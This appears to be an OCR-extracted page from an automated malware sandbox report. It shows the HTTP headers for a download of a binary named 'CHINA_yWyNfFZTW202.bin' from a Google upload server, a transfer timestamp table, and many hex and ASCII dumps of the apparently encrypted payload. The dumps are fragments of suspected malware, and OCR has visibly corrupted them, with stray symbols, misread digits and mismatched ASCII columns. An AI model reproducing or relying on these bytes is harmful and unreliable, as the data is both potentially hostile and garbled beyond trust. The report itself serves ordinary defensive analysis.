Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X
-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-
Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask,
X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-
Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-
Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-
Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destinatio
n, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Me
eting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-
StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-Viewerlnfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-
id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engin
e-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-
Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace,
x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-envi
ronment

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="CHINA_yWyNfFZTW202.bin";filename*=UTF-8"CHINA_yWyNfFZTW202.bin
Content-Length: 214592

Date: Fri, 27 May 2022 11:26:32 GMT

Expires: Fri, 27 May 2022 11:26:32 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=0UwU9w==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: 6b da 46 8f d8 7c c2 10 1f 12 14 ae 65 99 56 99 51 b4 74 9d bd 32 02 c2 6d €8 12 08 €9 59 7d 7e ac e8 78 f2
53 fc f7 03 83 ¢6 d0 €9 e2 a5 74 36 88 4a 76 cb 27 3 8c 17 bb 6f df b6 84 04 fd e9 c3 e5 04 a4 63 28 f2 88 67 bf 23 24 32
15 9a 62 cb 31 de 44 ff a8 28 86 6e 3 43 7c cf 2e 1a f0 ff aa 21 53 58 c4 78 72 Oe 95 9c d9 7e a7 a8 16 87 c3 6a a3 a0 c4
c5f7 e30d 87 82 f3 e2 8¢ 75 6b 82 c0 a6 7c 69 33 45 fc bd 23 71 1e 77 f5 02 99 f2 dd de d9 c9 27 c8 1c 78 ff 12 e8 61 80
58 cb 9d 44 93 f0 6b 6d e2 2e 0d f3 c6 ab 58 06 b5 60 21 34 81 3e 14 27 a2 cd 25 09 84 5¢ 03 9a 3f bf 02 cd b9 a5 b0 8¢
a6 11 1c b3 ec 53 bc 31 b0 8e 6d 1f 24 83 4c 1b f3 7 ce 3 d1 2a 42 63 c2 26 4f 66 eb 63 ed 1c 51 65 a6 8f 3c d0 ad 13
af 53 2d 0f 30 75 94 a7 bl ab a5 70 06 03 29 9a

Data Ascii: kF|eVQt2mY}~xSt6Jv'oc(g#$2b1D(nC|.!SXxr~juk|iBE#qw'xaXDkm. X 14>'%\?S1m$L*Bc&OfcQe<S-0up)

Data Raw: 42 b6 49 3c 0d 04 85 al ef 40 f0 23 62 d6 07 7c b5 69 b9 97 39 b8 49 72 ce 21 3f d4 e3 96 €9 5c 66 4f 25 87
6f 80 19 €9 18 69 06 09 71 d9 b5 d6 11 19 db 1d 52 b4 13 fc ec 3f c5 e5 b8 f4 07 80 51 87 0f 05 8d 61 c2 a6 a7 ab da 9b
11 al d3 fc f9 6e 85 84 59 c0 b2 a9 19 9d e6 70 Oa 75 5¢ a7 c4 c7 f0 67 9f Of cd 3f 3d 1f 42 Oc 68 c8 d1 ed 5a 30 28 84 f2
bd 08 4d 52 fd 4d 79 dc 01 bd 6e 12 20 53 32 32 ad 96 97 df a4 60 22 f9 9a 62 c1 39 24 cd ee b2 2e 73 31 d4 e6 7 b1l 00
f0 2¢ f3 45 de ¢7 34 64 ed ff aa 25 f1 50 df 7a dO 06 89 e2 c4 7e a7 ac b4 8f eb 27 a3 a0 ce ed a4 e3 0d 8d aa 5d e2 8¢ 7f
bb 9d 50 €9 60 dd 3a 88 dd 05 22 2d d3 56 al 05 f2 81 fd d1 a9 a6 40 da 7d 15 df 6c 89 0Of ef 24 8f be 26 30 d0 19 18 9f
Oe 64 8¢ f0 e4 2f ec 95 0d 4e 50 e3 Oa e7 2b 84 ee

Data Ascii: BI<@#b|i9Ir!2\fO%o0iqR?QanYpu\g?=BhZ0(MRMyn S22™'b9$.s1,E4d%Pz~1P":"-V@}I$&0d/NP+

Data Raw: Oc 23 1e fc 1e d2 a8 7c d3 ce 5e 2c 72 75 7d 3b 16 a8 a9 93 9d 03 d0 a2 64 73 ef 6d 4f 7e 82 bc fe 6 89 e9 3a
ef 10 dc 38 16 94 f7 4c ¢8 20 91 3e 77 7d 42 47 3e 3d c1 01 9b 96 a0 22 ab a2 f1 16 23 13 87 4f de 42 b0 45 3c eb 04 85
al d4 1d el 25 6f e8 2a f2 02 00 cf bf 1a b2 41 69 ad 7d 3a c5 e5 87 5d 5¢ 66 41 25 71 6d 80 15 d2 5b 43 57 0f 1e 99 a4
dc 74 63 f9 1f 58 al 30 a6 ea 2e c4 f8 bb fe al 5d 3c f3 09 2d cb 70 d6 c¢3 25 db d8 91 3a 27 43 ea e8 70 d8 ce 5b cO b5
ad 3e 8¢ f2 03 1b 01 5e a6 ad b2 d8 67 95 d5 02 59 12 24 45 82 d5 al b8 60 42 3a 00 21 fc b5 18 20 4a ec 48 78 7d 07
ae 6e cc 22 53 3e 9d 8d df bf 94 ae 69 47 a0 88 63 b5 30 20 dc ec 8b 66 65 20 da ca 48 c7 5c 86 2e f9 52 7a cb 38 le 7e
48 ¢5 55 53 58 ce 50 d1 Oe 95 96 f1 de a5 a8 10 81 eb cf

Data Ascii: #[*,ru};dsmO~:8L >W}BG>="#OBE<%0*Ai}:]\fA%gm[CWtcXO0.]<-p%:'Cp[> gY$E B:! JHx}n"S>iGcO fe
H\.Rz8~HUSXP

Data Raw: d7 8e a4 51 b3 6f b8 cO 86 e8 37 d8 31 7a 4f 78 33 7b b7 10 44 a3 5f 45 d7 ed 89 c1 6f 4a 01 5b 74 01 19 40
61 9fd6 89 al 70 5a 59 78 fc 76 b8 a4 bb 2a 93 13 51 e4 78 ec 73 75 20 d2 9a 19 d9 26 7b Ob 3f e0 cb 24 bb 14 ed 1c ee
Oa b5 d1 ¢8 37 4b ff 72 77 2a 1f ac c2 €9 99 15 cd 3f 3e 5b 86 6¢ ed 65 €9 c2 ea €0 94 d0 af 80 63 d6 3f 08 af 3d 66 6b 24
87 b5 7c 73 47 29 8e 29 d5 1c dc af a0 22 ab 97 ce 67 6d 16 bb ed 7a 42 b6 59 99 4b 04 85 aa d3 05 e4 0b f0 fe 2d 76 al
47 75 bd 1a be 5f f5 a6 73 3f d5 fd fc el 74 fe 4b 0d d2 45 91 1f c1 5b 67 Oe 1b 36 5¢ b7 d6 1d 26 74 18 52 b2 3a a4 e8
2e cb f8 82 25 2d ea 55 25 18 29 d5 75 d6 84 17 db d8 91 3f 45 9d fc 3 48 af dc 63 c¢7 a0 a9 ff 9f e6 70 34 8¢ 59 a7 c2 ee
cc 73 8b 21 8b 5f 15 38 56 24 b3 cc cc 66 54 bd 2f

Data Ascii: Q071zOx3{D_EoJ[t@apZYxv*Qxsu &{?$7Krw*?>[lec?=fk$|sG))"gmzBYK-vGu_s?tKE[g6\&tR:.%-U%)u?E
Hcp4Ys!_8Vs$fT/

Page 24 of 47



kBytes

Timestamp transferred Direction
2022-05-27 11:26:32 UTC 17 IN
2022-05-27 11:26:32 UTC 19 IN
2022-05-27 11:26:32 UTC 20 IN
2022-05-27 11:26:32 UTC 21 IN
2022-05-27 11:26:32 UTC 22 IN
2022-05-27 11:26:32 UTC 24 IN
2022-05-27 11:26:32 UTC 25 IN
2022-05-27 11:26:32 UTC 26 IN
2022-05-27 11:26:32 UTC 28 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4e 1b 31 f3 37 43 b2 3b bd ff 33 de e2 be dd f2 e8 53 81 1e a0 c6 61 c2 ad 9c ca c9 8a 01 al 43 fe f9 62 0f e6
4a d4 a0 95 1a 05 e6 76 28 15 76 78 c0 ef de 70 12 Oe 13 5f 14 21 50 1d 70 d8 e4 be 40 30 2e 27 ef a7 0a 27 5b d5 d5
7d 7e 03 82 57 67 22 59 27 9c b3 9d b4 85 a8 74 00 2e 8a 63 b9 3b a9 ca ea 9a 63 60 23 cf 56 €9 80 f6 84 2e 5 el 6d dd
3932 0a fe aa 27 f1 49 d6 6¢ 66 1a bd 04 d9 7e ad 80 b1 87 c3 60 bl ab ec 2a f7 €3 07 ab 9f 62 €9 9d 71 54 8a 6b a3 6f
d9 2b 84 f5 5a 20 3d d5 7e Of 6a fO 8b d5 09 ab a6 4a a9 78 04 cf 1e 23 0f ee 3d 85 57 d8 09 2f c7 Oe 9d le 11 a4 e6 ef
16 79 99 1c 5e 25 dd 10 19 2b c7 b4 25 09 8e 80 70 7e 3f ef 4d de b4 c1 4b 8e a6 e0 77 2e 83 5b ad 34 98 ad 6d 1f 2e Oc
a4 19 f2 f6 c2 36 dd 3b 73 4c c5 37 4a 09 b6 63 ed 16 8d

Data Ascii: N17C;3SaCbJv(vxp_!Pp@0."[}~Wg"Y't.c;c’#V.m92'llf~"*bqTko+Z =~jIx#=W/y"%+%p~?MKw.[4m.6;sL7Jc

Data Raw: 35 2a 22 00 dd 19 9e 8d 4 4a 24 43 43 2f f1 74 ab 35 78 35 95 55 c8 41 81 b6 63 06 af 8e 59 86 65 bb fd 96
€0 5c 0b 5b a6 b0 46 c6 a3 97 55 fa 9f 5¢ 0d 2f 5a 79 0f 61 20 3f 5e 6e a6 a7 68 c5 01 a5 c9 52 36 2d 84 3d 49 a6 51 a4
7935 c7 86 e8 36 cc 36 5e 64 €0 73 7b bd 04 64 69 5d 54 c7 f1 2f dd 6f 4d 17 b6 71 3c 1f 4e 7d 13 83 9f 5f 70 d4 4a 6b
e362 a9 ab 6d b6 bf 11 70 el 47 27 b5 61 23 5a 3b bc 24 26 7b 00 03 bd dd Oc 25 6a df 16 fa 28 11 99 ¢8 31 56 1d a6 77
2a 14 95 b0 8b d4 03 da b5 44 1b 86 6d 49 60 6d e6 fe f6 87 ec b2 b1 63 dc 3c 08 07 c3 64 6b 26 bb 38 7b 60 77 2a 9a
laclObf4 18 a0 22 b0 a7 ee 16 71 02 94 37 86 43 9c 4d Oc 47 04 82 bd 39 10 dc 21 7f f5 2d 7b ad 91 ba 93 18 93 4b 53
42 0d 13 d4 e9 ec df 5¢ 75 7b 0f d8 e6 80 1f c1 7d 6b 06 1e

Data Ascii: 5*"J$CC/t5x5UAcYe\[FUVZya ?"nhR6-=1Qy566"ds{di] T/oMg<N}_pJkbmpG'a#Z;$&{%j(1Vw*DmI mc<dk
&8{"'w*"q7CMG9!-{KSB\uf}k

Data Raw: 09 18 39 94 e7 bb 09 9a 7c 0a 03 23 85 4a dd 29 27 cc 52 ef fb b7 1f e8 c9 4e 9d 48 3d 68 34 8a c8 b7 03 c8
d9 7a 7e b2 b4 29 7a 5f e5 db 79 b3 76 86 fd 55 2d 0d d8 13 3f 7e cc 5f 51 3d c3 4a 22 79 71 98 a7 80 74 4d Oa 7f 36 20
fe a7 6a 46 81 20 ec 34 f8 aa 6b a9 2f 9f ca 17 2c ee 50 82 59 f6 d0 cb bf 5¢ b2 de al d7 50 a3 c4 86 71 7b f4 65 4c f9 3c
e7f1d9 el fd 41 06 7c 23 69 4f 69 c1 6¢ 5¢ 29 66 9f 84 1d bd dd 71 64 15 23 7a 50 40 ca f2 ce 04 27 c¢9 b4 5d ad 73 17
fd 14 62 cf b2 a3 21 52 3a 5c e3 ef 2d 2b 06 ad 1f ae 38 eb 07 8c d2 0d cb 61 10 08 d9 d7 57 2a 1e d1 bd a0 6 d5 Of 96
39 01 e8 cd 4d 17 93 8a 34 4c b5 34 e6 cb af 7f 8a 8a 1b 4c 00 bd eb e5 b6 29 42 4b 40 d3 9b 51 49 f4 02 fb d5 74 de 31
2e 2e 94 80 aa 41 78 bd bc 19 7a d2 e5 6¢ fb 38 27 d2

Data Ascii: 9[#J)'RNH=h4z~)z_yvU-?~_Q=J"yqtM6 jF 4k/,PY\Pqg{eL<Al#iOil\)fqd#zP@']sb!R:\-+8aW*9M4L4L)B
K@QIt1..AxzI8'

Data Raw: 39 a8 el Oc e2 90 a3 f5 2f ee 7b 92 Ob 2d c7 49 el ac 8f d1 58 92 17 89 99 82 f0 64 ad f3 25 dd b4 81 36 b5 c5
76 22 Ob de ae c2 ef dc ba 44 0a 13 5f 17 2d 32 3f 7b b0 c5 60 42 34 00 93 fc b5 18 1b 6¢ fd 4d 77 fe 00 aa 46 63 ff ee 37
90 a5 8c a0 e5 97 79 56 fb 88 63 bb 0b 33 cf ea 9c 4a 50 31 de 4e 7f al 28 86 2a 2e dc 7f cf 2e 18 ef 8d 99 38 2d 51 c4
78 76 26 8d 9e d9 78 8f 8b 16 87 c9 ea aa a0 c4 c1 2a 62 Oe 87 82 71 fd ff 46 7c €3 73 a8 7c d9 12 91 df 05 24 15 f0 56
al 60 70 88 fd ae af 7b 23 b9 7d 15 dd 6e fd 3c f7 49 b6 bd 26 f2 f8 03 1a 8c 08 4c be e6 ef 1d d5 9c 0d 4e 54 39 55 1la
2aaB8eb3a7ch7 45 7d 93 3f ef 43 e5 a2 eb bl 89 8e c5 7a 3f 84 d3 b5 31 b0 8a b0 38 27 63 4c 1b ed 8a fc f1 af 23 7e
60 c6 Oe 5b 64 eb 65 c5 3f 51 db f7 Oc 35 d0 8d 17

Data Ascii: 9/{-1Xd%6v"D_-2?{" B4IMwFc7yVc3IP1N(*..8-Qxv&x*bgF|s|$V p{#In<I&LNTIU*:|E}?Cz?18'cL#~[de?Q5

Data Raw: f9 ¢9 60 7e 3¢ 18 72 f1 70 a3 c1 68 25 92 30 81 55 81 b0 72 8e 99 87 36 bf 4f e1 85 bl e4 74 ea 5b 8e a5 56
ce b8 e7 69 dc 9f 5e 87 31 5a 79 Ob Oa 3c 3f 4d 5¢c a2 a7 d9 7d 01 a5 fc 5b 34 3c 92 ec 4c 9e c0 b4 79 35 ¢7 97 ef 29 c2
db 6f 4b d8 22 7d b8 03 e0 78 5d 45 d3 95 10 c7 6f 40 28 5d 71 10 17 73 5b 16 a2 98 a5 5a f2 31 6d e8 62 ac c2 82 b7 93
1148 e6 7e c1 cd 4a 20 d4 88 10 b1 7a 7b Oa 2d eb d0 1f 24 14 fc 11 ed dc 7f ff cb 29 4f 75 75 66 2d 00 41 c7 d4 aa Oa
df b4 e0 4a 86 6d 4d 1b f9 d7 fe fc ab ed 33 80 69 f9 15 19 al e0 60 40 28 e8 29 7b 73 45 59 8b 3d c1 09 e7 36 b2 27 da
8c e5 3d 6e 86 fc 78 78 42 b6 50 1d 5f 03 85 ba c0 Oe f9 dd 69 d2 24 44 48 6f bb bf 05 b2 5a 7f al 62 38 cb e5 16 f4 70
6d 35 39 d8 6d 84 Oc c7 4e 66 15 08 1e 82 b2 cd e5 30 d5

Data Ascii: "~<rph%0Ur60t[Vi*1Zy<?M\}[4<Ly5)oK"}X]Eo@ (Jgs[Z1mbH~J z{-$)Ouuf-AJmM3i’ @ (){SEY=6'=nxxBP_
i$DH0Zb8pm59mNfO

Data Raw: 7b 71 2a 01 00 9f 62 50 d6 f4 3e 06 a0 f9 b5 60 20 f9 4e 99 4f Oa 6b 39 8a ca df e5 c9 f5 72 04 ec 9c d5 7f 75
81 7b 66 c4 3e 8e e6 af 2f 09 c2 Oc b2 6¢ b8 47 50 36 dd 3b 6a 71 67 62 8c e6 74 72 19 7e 3e 35 ed 2a 4b 6b 83 01 86
2d 8f 54 9e 7c 4f 9d c8 6b 3e ec 50 f2 71 93 d0 fa b9 21 ea c8 ac eb 1d ed c6 €9 53 73 ed 91 4f ae 71 cc 95 c7 c4 9b 48
le 84 04 6f 41 7f bf 58 6¢ 2d 62 59 32 0a 67 eb 7a 7d 09 35 7f 73 85 ca de ca 13 05 c8 47 5¢ 88 44 eb 87 71 60 d7 bb a0
00 6b c5 5d ¢5 f6 7b 22 07 ad 11 c2 15 cf 06 86 a6 02 ac 61 14 09 65 a6 9a 2a 16 c5 6f b7 c1 d0 37 41 2f ff 9 fe 46 Oc 9e
82 22 5a b5 34 e6 c6 86 7e 89 38 1d 5b dc cb a5 ed 87 e7 4b 6a 4c d3 80 76 b4 f5 88 f9 cd 78 ec 39 32 c1 83 bf a7 7e f5
d2 ce 19 7a c5 fc 78 05 31 12 3f 9a b9 56 1c a4 28 2¢

Data Ascii: {q*bP>" NOk9ru{f>/IGP6;jqgbtr~>5*Kk-T|Ok>Pq!SsOqHoAXI-bY2gz}5sG\Dq k]{"ae*07A/F"Z4~8[KjLvx92~zx1?
V(,

Data Raw: Oa d0 15 8d 78 f6 d2 1f 56 d3 ab 9c dd c9 9e 52 8b 9d fc f9 64 ad 7 5b Ob 4b 7e cd 43 c4 03 3f 01 5e a6 d6 11
db 76 9a 1f ed 5¢c 4a 23 44 1a 9c cf 93 9e 53 44 35 85 fe b4 36 le 4f fd 47 a3 b7 29 99 46 6d a2 7b 06 91 a5 84 c5 92 b5
66 04 f7 a0 4d bf 23 2e e7 ea 9b 72 73 31 df 44 ff a8 9b 4f 2e ff fO 7c cf 2e 01 cO fb aa 43 53 58 c4 39 72 Oe 84 b4 dd 7e
a7 ae 79 b2 c2 6a a9 a2 ec f3 f6 e3 07 e8 b5 72 e2 86 62 e8 c7 7a a8 7d d0 33 9e c2 08 bf 34 bc 6e a0 6a fa 8a fe b8 9a
ae 47 b9 6a cf 45 7b 57 23 ed 21 90 b1 21 f1 5e ae 1b 5a 19 be 07 ec 31 0b 7d 6f Oc 4e 56 ee ce 0d Of 80 c4 25 09 8e 50
2b 60 3e ef 41 ¢7 91 ¢7 bl 8f ac 38 7a 39 a4 53 bc 30 a0 8e 6d 1f 24 63 4c 55 be fc db 5 d1 2a 7f 7b 2 25 47 4a eb 63 ed
03 51 db ec 8e 3f f8 b4 12 af 59 28 18 €6 ef of

Data Ascii: XVRA[K~C?"\J#DSD560G)Fm{fM#.rs1D0.|.CSX9r~yjrbz}34njGjE{W#!1"Z1}0NV%P+ >A829S0m$cLU{%G
JcQ?Y(

Data Raw: e6 f9 a6 e9 7a 25 81 32 e4 49 97 a6 fc 5f ad 87 37 19 74 b3 ef ad db 75 ee 53 a0 9e 11 cf b2 99 6e d8 80 57
14 Oe 5a 68 04 38 c2 3e 72 65 d5 56 68 7c Ob ae d0 48 3f 2d 95 f4 5¢ 58 50 99 7a 2d d4 8d e8 27 c¢7 3b 90 66 cc 3d 6a b5
126 41 4c 45 d1 f0 09 d9 66 59 Ob 48 61 1b 00 a8 77 3f 88 98 a8 67 68 71 c5 16 9d 51 ad 80 bc 93 02 50 fc 62 3a b7 5b
3c d6 8a bc 3d 26 7b 00 3a f1 f7 1d 23 14 e7 3e fe 22 7e f8 a7 74 5d 72 7f 68 25 0d b4 c6 €9 96 15 24 b2 40 58 91 7e 44
74 fcdd el e6 7d f9 1le 82 48 d9 00 e3 7a Oe 9b 69 08 91 2b 4b 71 47 a8 9a 3d c1 4e f4 33 b1 34 ac 89 8e 3d 6a 02 93 29
61 bc b1 63 10 5a 08 9f a6 c7 18 ea dd 69 d2 29 57 e8 74 b6 bf 13 a0 b7 79 8d 7b 17 9c e8 e8 ff 56 7f 46 0d d1 76 7e le
ed 46 6d Oe 95 71 da b4 d6 11 33 96 55 53 b2 31 9f a7 3e

Data Ascii: z%2|_7tuSnWZh8>reVh|H?-\XPz-';f=jALEfYHaw?ghqQPb:[<=&{:#>"~t]rh%$@X~Dt}Hzi+KqG=N34=j)acZ
\Wty{VFv~Fmq3US1>

Data Raw: 23 28 Ob ¢8 3b 3c fa 9b 19 70 4 4e 94 57 dc 78 14 87 ¢8 d5 cf c9 f5 7a 04 eb 9c d5 7f 43 ee 79 6d a5 88 8f ca
al 2f 09 30 0d b2 6¢ e0 16 4b 3b df 4f 3c 8f 66 4a ac a4 74 27 4b 7f 3e 3b f0 50 66 6a 8a 17 17 0d a2 50 bf bb 18 92 ca
0d 04 13 51 d4 52 f4 c8 e3 cc 60 a2 c8 a6 e4 2e ae c4 8f 68 8¢ ec b7 46 d2 3b da bd 48 ec fd 4e 12 98 2f 45 48 62 41 4a
70 20 6a 12 4e 45 67 d1 7e 63 15 23 7a 5d 40 ca f2 ¢8 04 00 d5 b0 42 ad 9a e8 d0 3a 4b d2 87 c9 d7 b7 3b 55 e5 f5 40
36 04 ad b7 c1 3d ea 4c 86 ac 3b dd 6d 2c 91 43 b8 96 2a 16 c7 6f b7 c1 d1 08 9¢ 52 b0 e9 el 4b 1d 92 8a 35 48 b5 34
e6 cl {7 f8 al 1d 1a 50 cf ba ec e5 99 1d 55 4d 4a d4 90 1c 18 f4 a4 ff ca 7d e0 31 26 22 7c 92 82 70 fO bf c1 57 7a c3 e5
6a 09 39 03 da 65 94 7d 20 10 c6 30 dd 08 9c ee 33 4b 08
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Data

Data Raw: 3f 60 ee ba 8d d9 a3 d7 17 89 99 f4 96 0d ac f7 51 af 2f 81 32 9b f9 7d 31 04 5e b6 c7 fO d5 99 9e 25 1f 57 04
36 7c 7d 9d 31 33 7f 4c 23 2d 85 ef b0 04 cd 4e d1 48 6b 75 12 b9 43 67 33 56 2b 9c 5b 8f 93 9c ac 77 fe fe 97 6e ac 26
24 dc ef 85 6¢ 8d 30 f2 48 fd d3 78 86 2e 7 6f 71 d0 21 09 f5 ff bb 24 4c 49 3a 79 5e 1e 97 9b b7 fb al c6 93 e8 5e 6a a3
a6 db d7 e4 e6 0d 96 87 6¢ f6 72 74 49 92 78 d3 32 dd 3a 8¢ b2 7f 22 3d d9 49 b4 79 f5 81 ec ab b2 58 41 96 6d 17 a4 3f
89 Of ea 58 e0 bc 26 fc 68 13 02 9f Ob 64 8c e3 f0 05 ab 94 21 41 52 9f 5e 19 2a ac d0 ce 09 84 5¢ 1c 89 2c ea 47 dc bc
2 4f 8e 8a ed 78 44 de 53 bc 35 9c a0 71 Oc 21 63 5d 1c ed f3 31 e9 fd 30 7c¢ 67 c0 5d 17 66 eb 67 63 ab €9 Oc 93 09 3a
be 08 7c 32 53 2d 09 2f 65 87 e2 b1 ba 80 6d f8 02

Data Ascii: ?°Q/2}17%W6|}13L#-NHkuCg3V+[wn&$I0Hx.oq!$LEy MjIrtIx2:"=lyXAm?X&hd!AR\, GOxDS5q!c]10|g]fgc:|2S-/
em

Data Raw: 48 f4 41 8b 96 72 75 e3 87 36 bf 74 bf ed 9f 8b 49 ef 59 ac 90 46 ca a4 bb 16 dd 9f 56 69 25 0a 32 Oc 24 56 11
5c 7a 8c a4 13 25 01 a5 cd 4d 07 24 86 84 05 a6 51 b1 74 le dc 85 93 6f cc 25 6a 79 d3 23 79 c6 4a 6¢ 69 59 53 c6 89
77 c7 6f400d 63 72 06 37 76 89 ec 84 89 2c 5e f8 48 7d e2 60 d5 fd 93 b7 97 10 20 bd 6¢ c4 b2 61 4f a6 8d 94 d4 00 78
7170 f4 df 08 28 3f cb 1f fc 34 79 d5 46 86 36 5a 01 76 2a 14 08 a9 c5 9c 03 d0 a0 69 5f 80 7b 5e 71 82 a2 fe f6 89 ff 23
85 db b2 e2 17 80 €7 Oe 5b f7 95 57 01 73 47 22 99 46 98 Ob f4 37 be 11 a7 b8 8a a3 6a 02 99 37 52 42 ab 7f 17 4c 2b 85
ab c7 47 f0 23 79 8d 9b 7c b5 65 b7 bd 19 b0 26 ed al 73 39 f8 5 ec fd 33 2e 4b 0d d2 3c 97 14 1f 40 6f 12 5e 08 98 6b
dc 13 1d ff 17 3d ef 3b b7 e6 e3 c8 c4 aa f4 3f ea 53
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3.K<@0"k=;?S

Data Raw: b7 1b 6¢ 96 d1 9d 4c 24 51 44 8b c0 al eb d3 9a 04 79 a4 96 ca 6a 4c e5 79 75 b9 69 87 18 aa 00 1d d3 76 fc
66 cc 5b 4c bb f0 46 22 70 74 63 b7 a9 60 45 56 e3 2f 3a f8 46 20 f6 92 Oe f1 15 12 45 91 4f 1f 03 db 01 06 2 44 64 48 {3
ch ec 23 4d a6 de b0 80 43 a3 c4 8c 6e 78 fe 9d 4d c4 3e d3 9e 3d ed d1 42 3e 82 2a 45 41 72 a0 47 4f 2f 62 00 35 1c 99
d0 56 7e 0f 30 75 4b af cd c1 dd ed Oc f9 bb 76 al 5¢c 65 01 c7 9f fd bf a3 28 5b f4 59 cf 47 50 06 06 7 1b c1 2c fc 14 80
94 8e c8 61 14 0f 52 be 89 3b e0 da bd aa ef a3 41 9f 2f fb ea 9a 2f 00 9e 8e 15 2c 4a 35 c0 df 9e 12 d5 1d 1c 51 c9 a4 ff
eb 87 f2 52 7e 5a 2d 89 4d 51 6 df b5 d5 74 e8 11 2e be 82 93 86 02 f6 bd b6 0f 62 ac 95 74 05 33 14 da 88 93 51 35 3d
37 30 2f 09 b8 ed cf 31 6a 42 2c 76 f6 62 a6 67
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=70/1jB,vbg

Data Raw: bl 15 f2 d3 fc f9 60 b7 7a 74 c0 b4 80 3f 94 f0 69 72 9d 57 b0 dd a4 44 6e 87 15 8f 56 Oc 2e de 05 74 d4 a3 14
42 30 22 9e ed bl le 22 4b e2 5c 83 7f 25 bd 44 1c 6¢ 53 34 94 b2 a6 c3 95 a4 6a 3e €8 e7 17 bf 23 2e d2 f8 89 66 73 20
da 5b eb 56 29 aa 28 d8 4e 63 da 3d 1e fO ee ae 3e 45 a6 c5 54 63 06 97 e7 96 7e a7 ac 79 d5 c3 6a a9 ab db d2 e4 e7
0d 96 86 6b 1c 8d 59 6a 9f 01 e6 7c dd 3e e7 a3 04 22 37 d9 4f b2 6e f0 90 f9 b1 a7 58 41 96 6a 17 a4 3f 89 0f ea 34 97
c0 27 f6 da 0f 06 e3 7a 64 9d ec fO 1a 46 91 0d 5f 54 fa ee 18 06 bf eb 5e 47 84 5¢ 07 8c 17 93 46 cd b3 ff ab €0 d2 e6 7a
35 91 5a af 35 b0 9f 69 00 2a 9d 4d 35 d9 fe b4 a6 d1 2a 7a 7a 4f 09 47 66 ea 6e e4 Oa 4e 8b 61 85 2b cf c6 8f a6 4b 31
93 39 6¢ 89 7b b8 bd 9f 1f 72 03 2b 90 45 2c 3b Of c1
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Data Raw: f5 5¢ 62 5d 25 a4 6¢ 80 15 d7 4b 04 72 0Of 1e 99 aa dc 08 35 f9 Oe 56 ad 36 49 ed 13 d8 ec d1 bb 2f ea 57 83
2150 c0 61 c8 ba 91 b4 ac 9b 17 83 82 f2 ea 60 ad e6 5f df be 7f 33 bl cf 74 59 4f 5e a7 c6 ed a3 2b 9f 09 17 30 7f 33 42
06 08 cc b7 31 42 30 2c 53 d6 c8 1f 33 45 eb 53 12 0a 09 aa 4c 78 29 40 30 90 b4 8a a9 6a a5 4c 2b e5 9b 67 bf 32 20

d2 f1 64 63 5f 33 f5 41 ¢7 9e d4 79 d1 d9 43 6f ff 2b 1a b9 fc aa 21 Oe 58 c4 69 64 1d 9d a4 e2 7d a7 a8 16 96 cbh 75 82
S5ec5e9e7el 76 c9 82 73 e6 85 la e5 9c 7a a2 63 ff 29 80 dd 14 2a 22 cc a8 a0 46 fc 82 ad b8 d6 ff 40 ba 79 Oa ff 62
81 Of ff 3f a0 aa d8 f7 fc 13 10 e3 90 64 9d ec f0 0f 46 9d 0d 5f 58 fb 03 e7 2b 84 e4 34 0f 95 5b 40 e0 3d ef 47 d2 ad fa b9
8f b7 ee 67 c1 8f 7f b6 33 cb c0 6d 1f 20 6f 52 Oa
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Data Raw: 82 72 f4 a6 d8 06 45 9c 65 79 18 2a 03 c1 8a 9d 4b da 3a 04 20 d2 17 84 9d d2 55 7b c6 26 69 e2 7c al f8 72
3b 99 c4 4 6d 8a 98 3b Oe ad 8d 25 be 7a b7 e8 8d e4 65 e6 46 ab 48 56 e2 a6 81 78 cd 98 4d 03 03 52 70 le 26 14 b8
5f 6¢ ac b8 66 6f 09 a5 d8 53 2d d3 85 d3 46 a5 4e a0 1d 2a c8 d9 6¢ 25 c8 3f 7d 6f e0 22 73 ab fa 6d 45 5e 52 c2 f2 04
d7 6755 Oe b6 71 3¢ 1f 7d 73 2b 59 77 5e 8e e9 4d 56 e8 62 bd 83 90 b7 2e 12 5b e3 33 c4 b6 66 36 d8 b4 3b df 26 7b
0Oa 23 ef 21 0d Of 1b fa 3e 81 23 7e d9 ce 2f 33 80 75 77 20 02 b3 c6 fO 82 Oe 24 b2 40 49 99 75 67 Of ec d6 f4 O 9c d6 5d
